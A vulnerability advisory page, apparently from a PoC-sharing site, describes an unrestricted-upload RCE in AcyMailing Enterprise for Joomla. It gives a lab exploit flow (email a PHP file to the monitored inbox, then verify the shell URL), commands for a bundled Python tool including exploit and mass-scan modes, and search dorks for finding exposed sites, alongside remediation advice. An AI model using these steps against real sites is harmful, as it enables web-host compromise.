CVE-2026-94132 — AcyMailing Enterprise Mailbox Attachment RCE (Joomla)
September 26, 2026 · 817 views
AcyMailing Enterprise for Joomla < 11.1.0 (through 11.0.5): POP3 mailbox actions save MIME attachments without extension checks to media/com_acym/upload/, enabling RCE when an attacker can email the monitored inbox. CWE-434, CVSS 4.0 9.5 Critical (AT:P). Fixed in 11.1.0.
Description
Overview
CVE-2026-94132 affects AcyMailing Enterprise for Joomla (com_acym, acymailing.com). Versions 1.0.0 through 11.0.5 mishandle POP3 mailbox actions: incoming MIME attachments are written to media/com_acym/upload/ without proper extension validation. An attacker who can send email to the monitored mailbox may place .php (or similar) under the web root and achieve remote code execution (CWE-434). CVSS 4.0 9.5 Critical (AT:P — monitored mailbox access required). Fixed in 11.1.0 (vendor guidance: move to IMAP or disable vulnerable POP3 attachment handling until patched). Assigner: Joomla CNA.
| | |
|---|---|
| Product | AcyMailing Enterprise for Joomla |
| Component | com_acym |
| Affected | 1.0.0 – 11.0.5 |
| Fixed | 11.1.0 |
| Write path | /media/com_acym/upload/ |
| Prerequisite | Mail to AcyMailing POP3 monitored inbox |
Open source PoC: https://github.com/murrez/CVE-2026-94132
The bundled tool does not send email (authorized mailbox testing only). It detects AcyMailing/version, probes the upload directory, and verifies a shell URL after you deliver a test attachment in a lab.
Lab exploit flow
- Email
pocbit_94132.php(<?php echo 'POCBIT-94132-OK'; ?>) to the site’s AcyMailing-monitored mailbox. - Run
--mode exploit --verify-urlagainsthttps://target/media/com_acym/upload/pocbit_94132.php.
Bundled tool (Python 3)
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --scan-uploads
python poc.py -u https://joomla.example --mode exploit --scan-uploads --shell-name pocbit_94132.php
python poc.py -u https://joomla.example --mode exploit --verify-url https://joomla.example/media/com_acym/upload/pocbit_94132.php
python poc.py --list targets.example.txt --mode check -j 10 --scan-uploads
Asset discovery
body="media/com_acym"
body="com_acym"
inurl:"option=com_acym"
Impact
Compromise of the Joomla host via unauthenticated email delivery to a configured POP3 inbox—common on marketing/newsletter sites using AcyMailing Enterprise with mailbox import features.
Remediation
- Upgrade AcyMailing Enterprise to 11.1.0 or newer.
- Prefer IMAP or disable POP3 attachment ingestion until patched.
- Restrict who can send mail to monitored inboxes; audit
media/com_acym/upload/for unexpected.phpfiles.
Legal and ethical use
Mailbox delivery tests must use inboxes you own or have explicit permission to use. Do not send exploit attachments to third-party sites.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- JoomlaCVE-2026-102427critical
CVE-2026-102427 — OrdaSoft Joomla CCK (com_os_cck) Unauthenticated Upload RCE
OrdaSoft OS CCK for Joomla 1.0.0–8.3.15: unauthenticated front-end task getContent reaches site/uploader.php — GIF/PHP polyglot passes magic-byte check while .php extension from attacker filename is written under web root (CWE-434). CVSS 4.0 10.0 Critical (AT:N). Fixed in 8.3.16+. Python PoC: check, exploit (POCBIT-102427-OK), mass + interactive.
- JoomlaCVE-2026-102425critical
CVE-2026-102425 — Joomla Balbooa Forms (com_baforms) Field Shortcode → Unauthenticated RCE
Balbooa Forms for Joomla 1.0.0–2.4.3.3: when a public form runs PHP-after-submission via eval(), field shortcodes are replaced with raw visitor input inside double-quoted PHP — classic ";breakout;// → RCE. CVSS 4.0 9.5 Critical (AT:P). Fixed in 2.4.3.4. Not CVE-2026-67364. Python PoC: version + public form detect, check/exploit, up.php drop, interactive + mass -j.
- JoomlaCVE-2026-97163critical
CVE-2026-97163 — Joomla UP Plugin Unauthenticated GitHub Action Install
Unauthenticated remote code installation in UP (Universal Plugin) for Joomla (lomart.fr) 5.0.0–5.2.0 and 6.0.0–6.0.29: mini package triggers on-demand GitHub action download into plugins/content/up/actions/ with TLS verify disabled (MITM risk). CVSS 4.0 10.0 Critical. Fixed in 5.2.1 and 6.1.0.
- JoomlaCVE-2026-97160critical
CVE-2026-97160 — Joomla UP Plugin PHP Code Injection ({up php=} eval)
PHP code injection (CWE-94, CVSS 4.0 9.4 Critical) in UP (Universal Plugin) for Joomla (plg_content_up, lomart.fr) 5.0.0–5.2.0 and 6.0.0–6.0.29 via {up php=...} shortcodes processed with eval(). Author save/render bypass on older builds can expose execution to all visitors. Fixed in 5.2.1 and 6.1.0.